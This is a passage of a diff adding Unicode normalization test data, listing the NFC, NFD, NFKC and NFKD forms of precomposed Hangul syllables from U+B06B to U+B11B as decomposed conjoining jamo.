+{ source: [0xB06B], NFC: [0xB06B], NFD: [0x1101, 0x1174, 0x11B2], NFKC: [0xB06B], NFKD: [0x1101, 0x1174, 0x11B2] },
+{ source: [0xB06C], NFC: [0xB06C], NFD: [0x1101, 0x1174, 0x11B3], NFKC: [0xB06C], NFKD: [0x1101, 0x1174, 0x11B3] },
+{ source: [0xB06D], NFC: [0xB06D], NFD: [0x1101, 0x1174, 0x11B4], NFKC: [0xB06D], NFKD: [0x1101, 0x1174, 0x11B4] },
+{ source: [0xB06E], NFC: [0xB06E], NFD: [0x1101, 0x1174, 0x11B5], NFKC: [0xB06E], NFKD: [0x1101, 0x1174, 0x11B5] },
+{ source: [0xB06F], NFC: [0xB06F], NFD: [0x1101, 0x1174, 0x11B6], NFKC: [0xB06F], NFKD: [0x1101, 0x1174, 0x11B6] },
+{ source: [0xB070], NFC: [0xB070], NFD: [0x1101, 0x1174, 0x11B7], NFKC: [0xB070], NFKD: [0x1101, 0x1174, 0x11B7] },
+{ source: [0xB071], NFC: [0xB071], NFD: [0x1101, 0x1174, 0x11B8], NFKC: [0xB071], NFKD: [0x1101, 0x1174, 0x11B8] },
+{ source: [0xB072], NFC: [0xB072], NFD: [0x1101, 0x1174, 0x11B9], NFKC: [0xB072], NFKD: [0x1101, 0x1174, 0x11B9] },
+{ source: [0xB073], NFC: [0xB073], NFD: [0x1101, 0x1174, 0x11BA], NFKC: [0xB073], NFKD: [0x1101, 0x1174, 0x11BA] },
+{ source: [0xB074], NFC: [0xB074], NFD: [0x1101, 0x1174, 0x11BB], NFKC: [0xB074], NFKD: [0x1101, 0x1174, 0x11BB] },
+{ source: [0xB075], NFC: [0xB075], NFD: [0x1101, 0x1174, 0x11BC], NFKC: [0xB075], NFKD: [0x1101, 0x1174, 0x11BC] },
+{ source: [0xB076], NFC: [0xB076], NFD: [0x1101, 0x1174, 0x11BD], NFKC: [0xB076], NFKD: [0x1101, 0x1174, 0x11BD] },
+{ source: [0xB077], NFC: [0xB077], NFD: [0x1101, 0x1174, 0x11BE], NFKC: [0xB077], NFKD: [0x1101, 0x1174, 0x11BE] },
+{ source: [0xB078], NFC: [0xB078], NFD: [0x1101, 0x1174, 0x11BF], NFKC: [0xB078], NFKD: [0x1101, 0x1174, 0x11BF] },
+{ source: [0xB079], NFC: [0xB079], NFD: [0x1101, 0x1174, 0x11C0], NFKC: [0xB079], NFKD: [0x1101, 0x1174, 0x11C0] },
+{ source: [0xB07A], NFC: [0xB07A], NFD: [0x1101, 0x1174, 0x11C1], NFKC: [0xB07A], NFKD: [0x1101, 0x1174, 0x11C1] },
+{ source: [0xB07B], NFC: [0xB07B], NFD: [0x1101, 0x1174, 0x11C2], NFKC: [0xB07B], NFKD: [0x1101, 0x1174, 0x11C2] },
+{ source: [0xB07C], NFC: [0xB07C], NFD: [0x1101, 0x1175], NFKC: [0xB07C], NFKD: [0x1101, 0x1175] },
+{ source: [0xB07D], NFC: [0xB07D], NFD: [0x1101, 0x1175, 0x11A8], NFKC: [0xB07D], NFKD: [0x1101, 0x1175, 0x11A8] },
+{ source: [0xB07E], NFC: [0xB07E], NFD: [0x1101, 0x1175, 0x11A9], NFKC: [0xB07E], NFKD: [0x1101, 0x1175, 0x11A9] },
+{ source: [0xB07F], NFC: [0xB07F], NFD: [0x1101, 0x1175, 0x11AA], NFKC: [0xB07F], NFKD: [0x1101, 0x1175, 0x11AA] },
+{ source: [0xB080], NFC: [0xB080], NFD: [0x1101, 0x1175, 0x11AB], NFKC: [0xB080], NFKD: [0x1101, 0x1175, 0x11AB] },
+{ source: [0xB081], NFC: [0xB081], NFD: [0x1101, 0x1175, 0x11AC], NFKC: [0xB081], NFKD: [0x1101, 0x1175, 0x11AC] },
+{ source: [0xB082], NFC: [0xB082], NFD: [0x1101, 0x1175, 0x11AD], NFKC: [0xB082], NFKD: [0x1101, 0x1175, 0x11AD] },
+{ source: [0xB083], NFC: [0xB083], NFD: [0x1101, 0x1175, 0x11AE], NFKC: [0xB083], NFKD: [0x1101, 0x1175, 0x11AE] },
+{ source: [0xB084], NFC: [0xB084], NFD: [0x1101, 0x1175, 0x11AF], NFKC: [0xB084], NFKD: [0x1101, 0x1175, 0x11AF] },
+{ source: [0xB085], NFC: [0xB085], NFD: [0x1101, 0x1175, 0x11B0], NFKC: [0xB085], NFKD: [0x1101, 0x1175, 0x11B0] },
+{ source: [0xB086], NFC: [0xB086], NFD: [0x1101, 0x1175, 0x11B1], NFKC: [0xB086], NFKD: [0x1101, 0x1175, 0x11B1] },
+{ source: [0xB087], NFC: [0xB087], NFD: [0x1101, 0x1175, 0x11B2], NFKC: [0xB087], NFKD: [0x1101, 0x1175, 0x11B2] },
+{ source: [0xB088], NFC: [0xB088], NFD: [0x1101, 0x1175, 0x11B3], NFKC: [0xB088], NFKD: [0x1101, 0x1175, 0x11B3] },
+{ source: [0xB089], NFC: [0xB089], NFD: [0x1101, 0x1175, 0x11B4], NFKC: [0xB089], NFKD: [0x1101, 0x1175, 0x11B4] },
+{ source: [0xB08A], NFC: [0xB08A], NFD: [0x1101, 0x1175, 0x11B5], NFKC: [0xB08A], NFKD: [0x1101, 0x1175, 0x11B5] },
+{ source: [0xB08B], NFC: [0xB08B], NFD: [0x1101, 0x1175, 0x11B6], NFKC: [0xB08B], NFKD: [0x1101, 0x1175, 0x11B6] },
+{ source: [0xB08C], NFC: [0xB08C], NFD: [0x1101, 0x1175, 0x11B7], NFKC: [0xB08C], NFKD: [0x1101, 0x1175, 0x11B7] },
+{ source: [0xB08D], NFC: [0xB08D], NFD: [0x1101, 0x1175, 0x11B8], NFKC: [0xB08D], NFKD: [0x1101, 0x1175, 0x11B8] },
+{ source: [0xB08E], NFC: [0xB08E], NFD: [0x1101, 0x1175, 0x11B9], NFKC: [0xB08E], NFKD: [0x1101, 0x1175, 0x11B9] },
+{ source: [0xB08F], NFC: [0xB08F], NFD: [0x1101, 0x1175, 0x11BA], NFKC: [0xB08F], NFKD: [0x1101, 0x1175, 0x11BA] },
+{ source: [0xB090], NFC: [0xB090], NFD: [0x1101, 0x1175, 0x11BB], NFKC: [0xB090], NFKD: [0x1101, 0x1175, 0x11BB] },
+{ source: [0xB091], NFC: [0xB091], NFD: [0x1101, 0x1175, 0x11BC], NFKC: [0xB091], NFKD: [0x1101, 0x1175, 0x11BC] },
+{ source: [0xB092], NFC: [0xB092], NFD: [0x1101, 0x1175, 0x11BD], NFKC: [0xB092], NFKD: [0x1101, 0x1175, 0x11BD] },
+{ source: [0xB093], NFC: [0xB093], NFD: [0x1101, 0x1175, 0x11BE], NFKC: [0xB093], NFKD: [0x1101, 0x1175, 0x11BE] },
+{ source: [0xB094], NFC: [0xB094], NFD: [0x1101, 0x1175, 0x11BF], NFKC: [0xB094], NFKD: [0x1101, 0x1175, 0x11BF] },
+{ source: [0xB095], NFC: [0xB095], NFD: [0x1101, 0x1175, 0x11C0], NFKC: [0xB095], NFKD: [0x1101, 0x1175, 0x11C0] },
+{ source: [0xB096], NFC: [0xB096], NFD: [0x1101, 0x1175, 0x11C1], NFKC: [0xB096], NFKD: [0x1101, 0x1175, 0x11C1] },
+{ source: [0xB097], NFC: [0xB097], NFD: [0x1101, 0x1175, 0x11C2], NFKC: [0xB097], NFKD: [0x1101, 0x1175, 0x11C2] },
+{ source: [0xB098], NFC: [0xB098], NFD: [0x1102, 0x1161], NFKC: [0xB098], NFKD: [0x1102, 0x1161] },
+{ source: [0xB099], NFC: [0xB099], NFD: [0x1102, 0x1161, 0x11A8], NFKC: [0xB099], NFKD: [0x1102, 0x1161, 0x11A8] },
+{ source: [0xB09A], NFC: [0xB09A], NFD: [0x1102, 0x1161, 0x11A9], NFKC: [0xB09A], NFKD: [0x1102, 0x1161, 0x11A9] },
+{ source: [0xB09B], NFC: [0xB09B], NFD: [0x1102, 0x1161, 0x11AA], NFKC: [0xB09B], NFKD: [0x1102, 0x1161, 0x11AA] },
+{ source: [0xB09C], NFC: [0xB09C], NFD: [0x1102, 0x1161, 0x11AB], NFKC: [0xB09C], NFKD: [0x1102, 0x1161, 0x11AB] },
+{ source: [0xB09D], NFC: [0xB09D], NFD: [0x1102, 0x1161, 0x11AC], NFKC: [0xB09D], NFKD: [0x1102, 0x1161, 0x11AC] },
+{ source: [0xB09E], NFC: [0xB09E], NFD: [0x1102, 0x1161, 0x11AD], NFKC: [0xB09E], NFKD: [0x1102, 0x1161, 0x11AD] },
+{ source: [0xB09F], NFC: [0xB09F], NFD: [0x1102, 0x1161, 0x11AE], NFKC: [0xB09F], NFKD: [0x1102, 0x1161, 0x11AE] },
+{ source: [0xB0A0], NFC: [0xB0A0], NFD: [0x1102, 0x1161, 0x11AF], NFKC: [0xB0A0], NFKD: [0x1102, 0x1161, 0x11AF] },
+{ source: [0xB0A1], NFC: [0xB0A1], NFD: [0x1102, 0x1161, 0x11B0], NFKC: [0xB0A1], NFKD: [0x1102, 0x1161, 0x11B0] },
+{ source: [0xB0A2], NFC: [0xB0A2], NFD: [0x1102, 0x1161, 0x11B1], NFKC: [0xB0A2], NFKD: [0x1102, 0x1161, 0x11B1] },
+{ source: [0xB0A3], NFC: [0xB0A3], NFD: [0x1102, 0x1161, 0x11B2], NFKC: [0xB0A3], NFKD: [0x1102, 0x1161, 0x11B2] },
+{ source: [0xB0A4], NFC: [0xB0A4], NFD: [0x1102, 0x1161, 0x11B3], NFKC: [0xB0A4], NFKD: [0x1102, 0x1161, 0x11B3] },
+{ source: [0xB0A5], NFC: [0xB0A5], NFD: [0x1102, 0x1161, 0x11B4], NFKC: [0xB0A5], NFKD: [0x1102, 0x1161, 0x11B4] },
+{ source: [0xB0A6], NFC: [0xB0A6], NFD: [0x1102, 0x1161, 0x11B5], NFKC: [0xB0A6], NFKD: [0x1102, 0x1161, 0x11B5] },
+{ source: [0xB0A7], NFC: [0xB0A7], NFD: [0x1102, 0x1161, 0x11B6], NFKC: [0xB0A7], NFKD: [0x1102, 0x1161, 0x11B6] },
+{ source: [0xB0A8], NFC: [0xB0A8], NFD: [0x1102, 0x1161, 0x11B7], NFKC: [0xB0A8], NFKD: [0x1102, 0x1161, 0x11B7] },
+{ source: [0xB0A9], NFC: [0xB0A9], NFD: [0x1102, 0x1161, 0x11B8], NFKC: [0xB0A9], NFKD: [0x1102, 0x1161, 0x11B8] },
+{ source: [0xB0AA], NFC: [0xB0AA], NFD: [0x1102, 0x1161, 0x11B9], NFKC: [0xB0AA], NFKD: [0x1102, 0x1161, 0x11B9] },
+{ source: [0xB0AB], NFC: [0xB0AB], NFD: [0x1102, 0x1161, 0x11BA], NFKC: [0xB0AB], NFKD: [0x1102, 0x1161, 0x11BA] },
+{ source: [0xB0AC], NFC: [0xB0AC], NFD: [0x1102, 0x1161, 0x11BB], NFKC: [0xB0AC], NFKD: [0x1102, 0x1161, 0x11BB] },
+{ source: [0xB0AD], NFC: [0xB0AD], NFD: [0x1102, 0x1161, 0x11BC], NFKC: [0xB0AD], NFKD: [0x1102, 0x1161, 0x11BC] },
+{ source: [0xB0AE], NFC: [0xB0AE], NFD: [0x1102, 0x1161, 0x11BD], NFKC: [0xB0AE], NFKD: [0x1102, 0x1161, 0x11BD] },
+{ source: [0xB0AF], NFC: [0xB0AF], NFD: [0x1102, 0x1161, 0x11BE], NFKC: [0xB0AF], NFKD: [0x1102, 0x1161, 0x11BE] },
+{ source: [0xB0B0], NFC: [0xB0B0], NFD: [0x1102, 0x1161, 0x11BF], NFKC: [0xB0B0], NFKD: [0x1102, 0x1161, 0x11BF] },
+{ source: [0xB0B1], NFC: [0xB0B1], NFD: [0x1102, 0x1161, 0x11C0], NFKC: [0xB0B1], NFKD: [0x1102, 0x1161, 0x11C0] },
+{ source: [0xB0B2], NFC: [0xB0B2], NFD: [0x1102, 0x1161, 0x11C1], NFKC: [0xB0B2], NFKD: [0x1102, 0x1161, 0x11C1] },
+{ source: [0xB0B3], NFC: [0xB0B3], NFD: [0x1102, 0x1161, 0x11C2], NFKC: [0xB0B3], NFKD: [0x1102, 0x1161, 0x11C2] },
+{ source: [0xB0B4], NFC: [0xB0B4], NFD: [0x1102, 0x1162], NFKC: [0xB0B4], NFKD: [0x1102, 0x1162] },
+{ source: [0xB0B5], NFC: [0xB0B5], NFD: [0x1102, 0x1162, 0x11A8], NFKC: [0xB0B5], NFKD: [0x1102, 0x1162, 0x11A8] },
+{ source: [0xB0B6], NFC: [0xB0B6], NFD: [0x1102, 0x1162, 0x11A9], NFKC: [0xB0B6], NFKD: [0x1102, 0x1162, 0x11A9] },
+{ source: [0xB0B7], NFC: [0xB0B7], NFD: [0x1102, 0x1162, 0x11AA], NFKC: [0xB0B7], NFKD: [0x1102, 0x1162, 0x11AA] },
+{ source: [0xB0B8], NFC: [0xB0B8], NFD: [0x1102, 0x1162, 0x11AB], NFKC: [0xB0B8], NFKD: [0x1102, 0x1162, 0x11AB] },
+{ source: [0xB0B9], NFC: [0xB0B9], NFD: [0x1102, 0x1162, 0x11AC], NFKC: [0xB0B9], NFKD: [0x1102, 0x1162, 0x11AC] },
+{ source: [0xB0BA], NFC: [0xB0BA], NFD: [0x1102, 0x1162, 0x11AD], NFKC: [0xB0BA], NFKD: [0x1102, 0x1162, 0x11AD] },
+{ source: [0xB0BB], NFC: [0xB0BB], NFD: [0x1102, 0x1162, 0x11AE], NFKC: [0xB0BB], NFKD: [0x1102, 0x1162, 0x11AE] },
+{ source: [0xB0BC], NFC: [0xB0BC], NFD: [0x1102, 0x1162, 0x11AF], NFKC: [0xB0BC], NFKD: [0x1102, 0x1162, 0x11AF] },
+{ source: [0xB0BD], NFC: [0xB0BD], NFD: [0x1102, 0x1162, 0x11B0], NFKC: [0xB0BD], NFKD: [0x1102, 0x1162, 0x11B0] },
+{ source: [0xB0BE], NFC: [0xB0BE], NFD: [0x1102, 0x1162, 0x11B1], NFKC: [0xB0BE], NFKD: [0x1102, 0x1162, 0x11B1] },
+{ source: [0xB0BF], NFC: [0xB0BF], NFD: [0x1102, 0x1162, 0x11B2], NFKC: [0xB0BF], NFKD: [0x1102, 0x1162, 0x11B2] },
+{ source: [0xB0C0], NFC: [0xB0C0], NFD: [0x1102, 0x1162, 0x11B3], NFKC: [0xB0C0], NFKD: [0x1102, 0x1162, 0x11B3] },
+{ source: [0xB0C1], NFC: [0xB0C1], NFD: [0x1102, 0x1162, 0x11B4], NFKC: [0xB0C1], NFKD: [0x1102, 0x1162, 0x11B4] },
+{ source: [0xB0C2], NFC: [0xB0C2], NFD: [0x1102, 0x1162, 0x11B5], NFKC: [0xB0C2], NFKD: [0x1102, 0x1162, 0x11B5] },
+{ source: [0xB0C3], NFC: [0xB0C3], NFD: [0x1102, 0x1162, 0x11B6], NFKC: [0xB0C3], NFKD: [0x1102, 0x1162, 0x11B6] },
+{ source: [0xB0C4], NFC: [0xB0C4], NFD: [0x1102, 0x1162, 0x11B7], NFKC: [0xB0C4], NFKD: [0x1102, 0x1162, 0x11B7] },
+{ source: [0xB0C5], NFC: [0xB0C5], NFD: [0x1102, 0x1162, 0x11B8], NFKC: [0xB0C5], NFKD: [0x1102, 0x1162, 0x11B8] },
+{ source: [0xB0C6], NFC: [0xB0C6], NFD: [0x1102, 0x1162, 0x11B9], NFKC: [0xB0C6], NFKD: [0x1102, 0x1162, 0x11B9] },
+{ source: [0xB0C7], NFC: [0xB0C7], NFD: [0x1102, 0x1162, 0x11BA], NFKC: [0xB0C7], NFKD: [0x1102, 0x1162, 0x11BA] },
+{ source: [0xB0C8], NFC: [0xB0C8], NFD: [0x1102, 0x1162, 0x11BB], NFKC: [0xB0C8], NFKD: [0x1102, 0x1162, 0x11BB] },
+{ source: [0xB0C9], NFC: [0xB0C9], NFD: [0x1102, 0x1162, 0x11BC], NFKC: [0xB0C9], NFKD: [0x1102, 0x1162, 0x11BC] },
+{ source: [0xB0CA], NFC: [0xB0CA], NFD: [0x1102, 0x1162, 0x11BD], NFKC: [0xB0CA], NFKD: [0x1102, 0x1162, 0x11BD] },
+{ source: [0xB0CB], NFC: [0xB0CB], NFD: [0x1102, 0x1162, 0x11BE], NFKC: [0xB0CB], NFKD: [0x1102, 0x1162, 0x11BE] },
+{ source: [0xB0CC], NFC: [0xB0CC], NFD: [0x1102, 0x1162, 0x11BF], NFKC: [0xB0CC], NFKD: [0x1102, 0x1162, 0x11BF] },
+{ source: [0xB0CD], NFC: [0xB0CD], NFD: [0x1102, 0x1162, 0x11C0], NFKC: [0xB0CD], NFKD: [0x1102, 0x1162, 0x11C0] },
+{ source: [0xB0CE], NFC: [0xB0CE], NFD: [0x1102, 0x1162, 0x11C1], NFKC: [0xB0CE], NFKD: [0x1102, 0x1162, 0x11C1] },
+{ source: [0xB0CF], NFC: [0xB0CF], NFD: [0x1102, 0x1162, 0x11C2], NFKC: [0xB0CF], NFKD: [0x1102, 0x1162, 0x11C2] },
+{ source: [0xB0D0], NFC: [0xB0D0], NFD: [0x1102, 0x1163], NFKC: [0xB0D0], NFKD: [0x1102, 0x1163] },
+{ source: [0xB0D1], NFC: [0xB0D1], NFD: [0x1102, 0x1163, 0x11A8], NFKC: [0xB0D1], NFKD: [0x1102, 0x1163, 0x11A8] },
+{ source: [0xB0D2], NFC: [0xB0D2], NFD: [0x1102, 0x1163, 0x11A9], NFKC: [0xB0D2], NFKD: [0x1102, 0x1163, 0x11A9] },
+{ source: [0xB0D3], NFC: [0xB0D3], NFD: [0x1102, 0x1163, 0x11AA], NFKC: [0xB0D3], NFKD: [0x1102, 0x1163, 0x11AA] },
+{ source: [0xB0D4], NFC: [0xB0D4], NFD: [0x1102, 0x1163, 0x11AB], NFKC: [0xB0D4], NFKD: [0x1102, 0x1163, 0x11AB] },
+{ source: [0xB0D5], NFC: [0xB0D5], NFD: [0x1102, 0x1163, 0x11AC], NFKC: [0xB0D5], NFKD: [0x1102, 0x1163, 0x11AC] },
+{ source: [0xB0D6], NFC: [0xB0D6], NFD: [0x1102, 0x1163, 0x11AD], NFKC: [0xB0D6], NFKD: [0x1102, 0x1163, 0x11AD] },
+{ source: [0xB0D7], NFC: [0xB0D7], NFD: [0x1102, 0x1163, 0x11AE], NFKC: [0xB0D7], NFKD: [0x1102, 0x1163, 0x11AE] },
+{ source: [0xB0D8], NFC: [0xB0D8], NFD: [0x1102, 0x1163, 0x11AF], NFKC: [0xB0D8], NFKD: [0x1102, 0x1163, 0x11AF] },
+{ source: [0xB0D9], NFC: [0xB0D9], NFD: [0x1102, 0x1163, 0x11B0], NFKC: [0xB0D9], NFKD: [0x1102, 0x1163, 0x11B0] },
+{ source: [0xB0DA], NFC: [0xB0DA], NFD: [0x1102, 0x1163, 0x11B1], NFKC: [0xB0DA], NFKD: [0x1102, 0x1163, 0x11B1] },
+{ source: [0xB0DB], NFC: [0xB0DB], NFD: [0x1102, 0x1163, 0x11B2], NFKC: [0xB0DB], NFKD: [0x1102, 0x1163, 0x11B2] },
+{ source: [0xB0DC], NFC: [0xB0DC], NFD: [0x1102, 0x1163, 0x11B3], NFKC: [0xB0DC], NFKD: [0x1102, 0x1163, 0x11B3] },
+{ source: [0xB0DD], NFC: [0xB0DD], NFD: [0x1102, 0x1163, 0x11B4], NFKC: [0xB0DD], NFKD: [0x1102, 0x1163, 0x11B4] },
+{ source: [0xB0DE], NFC: [0xB0DE], NFD: [0x1102, 0x1163, 0x11B5], NFKC: [0xB0DE], NFKD: [0x1102, 0x1163, 0x11B5] },
+{ source: [0xB0DF], NFC: [0xB0DF], NFD: [0x1102, 0x1163, 0x11B6], NFKC: [0xB0DF], NFKD: [0x1102, 0x1163, 0x11B6] },
+{ source: [0xB0E0], NFC: [0xB0E0], NFD: [0x1102, 0x1163, 0x11B7], NFKC: [0xB0E0], NFKD: [0x1102, 0x1163, 0x11B7] },
+{ source: [0xB0E1], NFC: [0xB0E1], NFD: [0x1102, 0x1163, 0x11B8], NFKC: [0xB0E1], NFKD: [0x1102, 0x1163, 0x11B8] },
+{ source: [0xB0E2], NFC: [0xB0E2], NFD: [0x1102, 0x1163, 0x11B9], NFKC: [0xB0E2], NFKD: [0x1102, 0x1163, 0x11B9] },
+{ source: [0xB0E3], NFC: [0xB0E3], NFD: [0x1102, 0x1163, 0x11BA], NFKC: [0xB0E3], NFKD: [0x1102, 0x1163, 0x11BA] },
+{ source: [0xB0E4], NFC: [0xB0E4], NFD: [0x1102, 0x1163, 0x11BB], NFKC: [0xB0E4], NFKD: [0x1102, 0x1163, 0x11BB] },
+{ source: [0xB0E5], NFC: [0xB0E5], NFD: [0x1102, 0x1163, 0x11BC], NFKC: [0xB0E5], NFKD: [0x1102, 0x1163, 0x11BC] },
+{ source: [0xB0E6], NFC: [0xB0E6], NFD: [0x1102, 0x1163, 0x11BD], NFKC: [0xB0E6], NFKD: [0x1102, 0x1163, 0x11BD] },
+{ source: [0xB0E7], NFC: [0xB0E7], NFD: [0x1102, 0x1163, 0x11BE], NFKC: [0xB0E7], NFKD: [0x1102, 0x1163, 0x11BE] },
+{ source: [0xB0E8], NFC: [0xB0E8], NFD: [0x1102, 0x1163, 0x11BF], NFKC: [0xB0E8], NFKD: [0x1102, 0x1163, 0x11BF] },
+{ source: [0xB0E9], NFC: [0xB0E9], NFD: [0x1102, 0x1163, 0x11C0], NFKC: [0xB0E9], NFKD: [0x1102, 0x1163, 0x11C0] },
+{ source: [0xB0EA], NFC: [0xB0EA], NFD: [0x1102, 0x1163, 0x11C1], NFKC: [0xB0EA], NFKD: [0x1102, 0x1163, 0x11C1] },
+{ source: [0xB0EB], NFC: [0xB0EB], NFD: [0x1102, 0x1163, 0x11C2], NFKC: [0xB0EB], NFKD: [0x1102, 0x1163, 0x11C2] },
+{ source: [0xB0EC], NFC: [0xB0EC], NFD: [0x1102, 0x1164], NFKC: [0xB0EC], NFKD: [0x1102, 0x1164] },
+{ source: [0xB0ED], NFC: [0xB0ED], NFD: [0x1102, 0x1164, 0x11A8], NFKC: [0xB0ED], NFKD: [0x1102, 0x1164, 0x11A8] },
+{ source: [0xB0EE], NFC: [0xB0EE], NFD: [0x1102, 0x1164, 0x11A9], NFKC: [0xB0EE], NFKD: [0x1102, 0x1164, 0x11A9] },
+{ source: [0xB0EF], NFC: [0xB0EF], NFD: [0x1102, 0x1164, 0x11AA], NFKC: [0xB0EF], NFKD: [0x1102, 0x1164, 0x11AA] },
+{ source: [0xB0F0], NFC: [0xB0F0], NFD: [0x1102, 0x1164, 0x11AB], NFKC: [0xB0F0], NFKD: [0x1102, 0x1164, 0x11AB] },
+{ source: [0xB0F1], NFC: [0xB0F1], NFD: [0x1102, 0x1164, 0x11AC], NFKC: [0xB0F1], NFKD: [0x1102, 0x1164, 0x11AC] },
+{ source: [0xB0F2], NFC: [0xB0F2], NFD: [0x1102, 0x1164, 0x11AD], NFKC: [0xB0F2], NFKD: [0x1102, 0x1164, 0x11AD] },
+{ source: [0xB0F3], NFC: [0xB0F3], NFD: [0x1102, 0x1164, 0x11AE], NFKC: [0xB0F3], NFKD: [0x1102, 0x1164, 0x11AE] },
+{ source: [0xB0F4], NFC: [0xB0F4], NFD: [0x1102, 0x1164, 0x11AF], NFKC: [0xB0F4], NFKD: [0x1102, 0x1164, 0x11AF] },
+{ source: [0xB0F5], NFC: [0xB0F5], NFD: [0x1102, 0x1164, 0x11B0], NFKC: [0xB0F5], NFKD: [0x1102, 0x1164, 0x11B0] },
+{ source: [0xB0F6], NFC: [0xB0F6], NFD: [0x1102, 0x1164, 0x11B1], NFKC: [0xB0F6], NFKD: [0x1102, 0x1164, 0x11B1] },
+{ source: [0xB0F7], NFC: [0xB0F7], NFD: [0x1102, 0x1164, 0x11B2], NFKC: [0xB0F7], NFKD: [0x1102, 0x1164, 0x11B2] },
+{ source: [0xB0F8], NFC: [0xB0F8], NFD: [0x1102, 0x1164, 0x11B3], NFKC: [0xB0F8], NFKD: [0x1102, 0x1164, 0x11B3] },
+{ source: [0xB0F9], NFC: [0xB0F9], NFD: [0x1102, 0x1164, 0x11B4], NFKC: [0xB0F9], NFKD: [0x1102, 0x1164, 0x11B4] },
+{ source: [0xB0FA], NFC: [0xB0FA], NFD: [0x1102, 0x1164, 0x11B5], NFKC: [0xB0FA], NFKD: [0x1102, 0x1164, 0x11B5] },
+{ source: [0xB0FB], NFC: [0xB0FB], NFD: [0x1102, 0x1164, 0x11B6], NFKC: [0xB0FB], NFKD: [0x1102, 0x1164, 0x11B6] },
+{ source: [0xB0FC], NFC: [0xB0FC], NFD: [0x1102, 0x1164, 0x11B7], NFKC: [0xB0FC], NFKD: [0x1102, 0x1164, 0x11B7] },
+{ source: [0xB0FD], NFC: [0xB0FD], NFD: [0x1102, 0x1164, 0x11B8], NFKC: [0xB0FD], NFKD: [0x1102, 0x1164, 0x11B8] },
+{ source: [0xB0FE], NFC: [0xB0FE], NFD: [0x1102, 0x1164, 0x11B9], NFKC: [0xB0FE], NFKD: [0x1102, 0x1164, 0x11B9] },
+{ source: [0xB0FF], NFC: [0xB0FF], NFD: [0x1102, 0x1164, 0x11BA], NFKC: [0xB0FF], NFKD: [0x1102, 0x1164, 0x11BA] },
+{ source: [0xB100], NFC: [0xB100], NFD: [0x1102, 0x1164, 0x11BB], NFKC: [0xB100], NFKD: [0x1102, 0x1164, 0x11BB] },
+{ source: [0xB101], NFC: [0xB101], NFD: [0x1102, 0x1164, 0x11BC], NFKC: [0xB101], NFKD: [0x1102, 0x1164, 0x11BC] },
+{ source: [0xB102], NFC: [0xB102], NFD: [0x1102, 0x1164, 0x11BD], NFKC: [0xB102], NFKD: [0x1102, 0x1164, 0x11BD] },
+{ source: [0xB103], NFC: [0xB103], NFD: [0x1102, 0x1164, 0x11BE], NFKC: [0xB103], NFKD: [0x1102, 0x1164, 0x11BE] },
+{ source: [0xB104], NFC: [0xB104], NFD: [0x1102, 0x1164, 0x11BF], NFKC: [0xB104], NFKD: [0x1102, 0x1164, 0x11BF] },
+{ source: [0xB105], NFC: [0xB105], NFD: [0x1102, 0x1164, 0x11C0], NFKC: [0xB105], NFKD: [0x1102, 0x1164, 0x11C0] },
+{ source: [0xB106], NFC: [0xB106], NFD: [0x1102, 0x1164, 0x11C1], NFKC: [0xB106], NFKD: [0x1102, 0x1164, 0x11C1] },
+{ source: [0xB107], NFC: [0xB107], NFD: [0x1102, 0x1164, 0x11C2], NFKC: [0xB107], NFKD: [0x1102, 0x1164, 0x11C2] },
+{ source: [0xB108], NFC: [0xB108], NFD: [0x1102, 0x1165], NFKC: [0xB108], NFKD: [0x1102, 0x1165] },
+{ source: [0xB109], NFC: [0xB109], NFD: [0x1102, 0x1165, 0x11A8], NFKC: [0xB109], NFKD: [0x1102, 0x1165, 0x11A8] },
+{ source: [0xB10A], NFC: [0xB10A], NFD: [0x1102, 0x1165, 0x11A9], NFKC: [0xB10A], NFKD: [0x1102, 0x1165, 0x11A9] },
+{ source: [0xB10B], NFC: [0xB10B], NFD: [0x1102, 0x1165, 0x11AA], NFKC: [0xB10B], NFKD: [0x1102, 0x1165, 0x11AA] },
+{ source: [0xB10C], NFC: [0xB10C], NFD: [0x1102, 0x1165, 0x11AB], NFKC: [0xB10C], NFKD: [0x1102, 0x1165, 0x11AB] },
+{ source: [0xB10D], NFC: [0xB10D], NFD: [0x1102, 0x1165, 0x11AC], NFKC: [0xB10D], NFKD: [0x1102, 0x1165, 0x11AC] },
+{ source: [0xB10E], NFC: [0xB10E], NFD: [0x1102, 0x1165, 0x11AD], NFKC: [0xB10E], NFKD: [0x1102, 0x1165, 0x11AD] },
+{ source: [0xB10F], NFC: [0xB10F], NFD: [0x1102, 0x1165, 0x11AE], NFKC: [0xB10F], NFKD: [0x1102, 0x1165, 0x11AE] },
+{ source: [0xB110], NFC: [0xB110], NFD: [0x1102, 0x1165, 0x11AF], NFKC: [0xB110], NFKD: [0x1102, 0x1165, 0x11AF] },
+{ source: [0xB111], NFC: [0xB111], NFD: [0x1102, 0x1165, 0x11B0], NFKC: [0xB111], NFKD: [0x1102, 0x1165, 0x11B0] },
+{ source: [0xB112], NFC: [0xB112], NFD: [0x1102, 0x1165, 0x11B1], NFKC: [0xB112], NFKD: [0x1102, 0x1165, 0x11B1] },
+{ source: [0xB113], NFC: [0xB113], NFD: [0x1102, 0x1165, 0x11B2], NFKC: [0xB113], NFKD: [0x1102, 0x1165, 0x11B2] },
+{ source: [0xB114], NFC: [0xB114], NFD: [0x1102, 0x1165, 0x11B3], NFKC: [0xB114], NFKD: [0x1102, 0x1165, 0x11B3] },
+{ source: [0xB115], NFC: [0xB115], NFD: [0x1102, 0x1165, 0x11B4], NFKC: [0xB115], NFKD: [0x1102, 0x1165, 0x11B4] },
+{ source: [0xB116], NFC: [0xB116], NFD: [0x1102, 0x1165, 0x11B5], NFKC: [0xB116], NFKD: [0x1102, 0x1165, 0x11B5] },
+{ source: [0xB117], NFC: [0xB117], NFD: [0x1102, 0x1165, 0x11B6], NFKC: [0xB117], NFKD: [0x1102, 0x1165, 0x11B6] },
+{ source: [0xB118], NFC: [0xB118], NFD: [0x1102, 0x1165, 0x11B7], NFKC: [0xB118], NFKD: [0x1102, 0x1165, 0x11B7] },
+{ source: [0xB119], NFC: [0xB119], NFD: [0x1102, 0x1165, 0x11B8], NFKC: [0xB119], NFKD: [0x1102, 0x1165, 0x11B8] },
+{ source: [0xB11A], NFC: [0xB11A], NFD: [0x1102, 0x1165, 0x11B9], NFKC: [0xB11A], NFKD: [0x1102, 0x1165, 0x11B9] },
+{ source: [0xB11B], NFC: [0xB11B], NFD: [0x1102, 0x1165, 0x11BA], NFKC: [0xB11B], NFKD: [0x1102, 0x1165, 0x11BA] },
